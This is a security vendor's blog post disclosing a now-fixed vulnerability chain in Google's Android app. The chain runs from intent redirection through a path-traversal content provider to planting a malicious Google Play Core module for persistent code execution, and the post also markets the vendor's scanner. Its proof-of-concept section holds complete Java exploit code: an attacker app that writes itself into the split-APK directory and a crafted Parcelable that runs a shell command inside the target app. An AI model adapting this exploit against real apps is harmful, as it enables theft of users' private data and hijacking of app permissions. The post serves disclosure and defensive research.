Why dynamic code loading could be dangerous for your apps: a Google example

Almost every Android app dynamically loads code from native .so libraries or .dex files. There are also some special libraries like Google Play Core to simplify this process.

In this blog, we want to convince developers not to load any code dynamically, because this unsafe practice can escalate a vulnerability that allows stealing/overwriting arbitrary files into critical code execution inside a vulnerable app.

For example: in the Google app, which will be discussed in detail later, the attack chain looked like this:

Intent redirection > gaining access to a vulnerable content provider and writing an arbitrary Google Play Core library module > resulting in persistent local code execution.

We also found a similar vulnerability in the TikTok app.

If you’re a developer or an app owner, you can integrate Oversecured into your CI/CD to proactively secure your apps against these vulnerabilities. The CI/CD process can also be fully automated using plugins. Our solutions will continuously monitor your apps and alert you if any new vulnerabilities are detected.

Start securing your apps by beginning a trial from Quick Start, or you can contact us to learn more and get a demo.

Arbitrary code execution in Google

While securing pre-installed apps on Android devices, we discovered persistent arbitrary code execution in the Google app. Google fixed the issue in May 2021. This could have allowed any app installed on the same device to steal arbitrary data from it, for example, accessing a Google account, user’s search history, voice assistant interaction data, mail from Gmail, and to intercept app rights, including access to read and send SMS messages, contacts, call history (as well as making and receiving calls), calendar, microphone, camera, location, Bluetooth and NFC.

The attacker’s app needed to launch only once for this attack to succeed. After that, even if the app was removed, the malicious functionality would continue to be present in the Google app independently. Moreover, the attack did not require any user consent or notice.

Discovering the bug

We scanned the app and found intent redirection: vulnerability

Then, we found one of the providers with the flag android:grantUriPermissions="true":

<provider android:name="com.google.android.apps.gsa.contentprovider.CommonContentProvider" android:exported="false" android:process=":search" android:authorities="com.google.android.googlequicksearchbox.CommonContentProvider" android:grantUriPermissions="true"/>

It contained several handlers, one of which was in the class com.google.android.apps.gsa.staticplugins.assist.screenshot.C29246g:

public final ParcelFileDescriptor mo33581g(Uri uri, String str) { // a handler for `openFile(..)` method
   m33580f(uri);
   File i = m33575i(uri); // `/data/data/com.google.android.googlequicksearchbox/files/ScreenAssistScreenshots/` directory
   if (i == null) {
       //...
   }
   i.mkdirs();
   // `uri.getLastPathSegment()` returns a decoded value, a path-traversal is here
   return ParcelFileDescriptor.open(new File(i, uri.getLastPathSegment()), ParcelFileDescriptor.parseMode(str.toLowerCase(Locale.getDefault())));
}

As a result, it led to gaining read/write access to arbitrary files.

The scan report also contained alerts from the Dynamic code loading category: vulnerability

This indicated that the app uses the Google Play Core library. Now, if an attacker wrote an arbitrary module, the classes from the attacker’s module would automatically be added to the ClassLoader of the app.

A more detailed description about the method of replacing modules is described in the article dedicated to this vulnerability in the Google Play Core library.

Proof of Concept

This code will execute the command chmod -R 777 /data/data/com.google.android.googlequicksearchbox in the context of Google.

File MainActivity.java

public class MainActivity extends Activity {
   static final String APP = "com.google.android.googlequicksearchbox";

   protected void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       handle(getIntent());
   }

   protected void onNewIntent(Intent intent) {
       super.onNewIntent(intent);
       handle(intent);
   }

   private void handle(Intent intent) {
       if("evil".equals(intent.getAction())) {
           try {
               InputStream i = new FileInputStream(getApplicationInfo().sourceDir);
               OutputStream o = getContentResolver().openOutputStream(intent.getData());
               IOUtils.copy(i, o);
               i.close();
               o.close();
           } catch (Throwable th) {
               throw new RuntimeException(th);
           }
           start();
       }
       else {
           Uri uri = Uri.parse("content://com.google.android.googlequicksearchbox.CommonContentProvider/assist.com.google.android.apps.gsa.staticplugins.assist.screenshot.ScreenshotProvider/1/ScreenAssistScreenshots/..%2Fsplitcompat%2F" + getVersionCode() + "%2Fverified-splits%2Fconfig.test.apk");
           Intent next = new Intent("evil", uri);
           next.setClass(this, getClass());
           next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

           Intent i = new Intent("android.intent.action.ASSIST");
           i.setClassName(APP, "com.google.android.googlequicksearchbox.SearchActivity");
           i.putExtra("KEY_HANDOVER_THROUGH_VELVET", next);
           startActivity(i);
       }
   }

   private int getVersionCode() {
       try {
           return getPackageManager().getPackageInfo(APP, 0).versionCode;
       } catch (Throwable th) {
           throw new RuntimeException(th);
       }
   }

   private void start() { // that broadcast receiver automatically tries to deserialize a value
       Intent i = new Intent("com.google.android.gms.udc.action.FACS_CACHE_UPDATED_EXPLICIT");
       i.setClassName(APP, "com.google.android.apps.search.googleapp.permissions.udcdataservice.facs.FacsBroadcastReceiver_Receiver");
       i.putExtra("evil", new EvilParcelable());
       sendBroadcast(i);
   }
}

File EvilParcelable.java

public class EvilParcelable implements Parcelable {
   public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() {
       public EvilParcelable createFromParcel(android.os.Parcel parcel) {
           exploit();
           return null;
       }

       public EvilParcelable[] newArray(int i) {
           exploit();
           return null;
       }

       private void exploit() {
           try {
               Runtime.getRuntime().exec("chmod -R 777 /data/data/" + MainActivity.APP).waitFor();
           } catch (Throwable th) {
               throw new RuntimeException(th);
           }
       }
   };

   public int describeContents() { return 0; }
   public void writeToParcel(android.os.Parcel parcel, int i) {}
}

The result: vulnerability

Preventing these vulnerabilities

It can be extremely helpful to detect this bug early: Oversecured’s mobile app scanner lets users do that, and notifies them about all the vectors mentioned above in the scan report. Contact us, and we can provide you with a demo to try it out.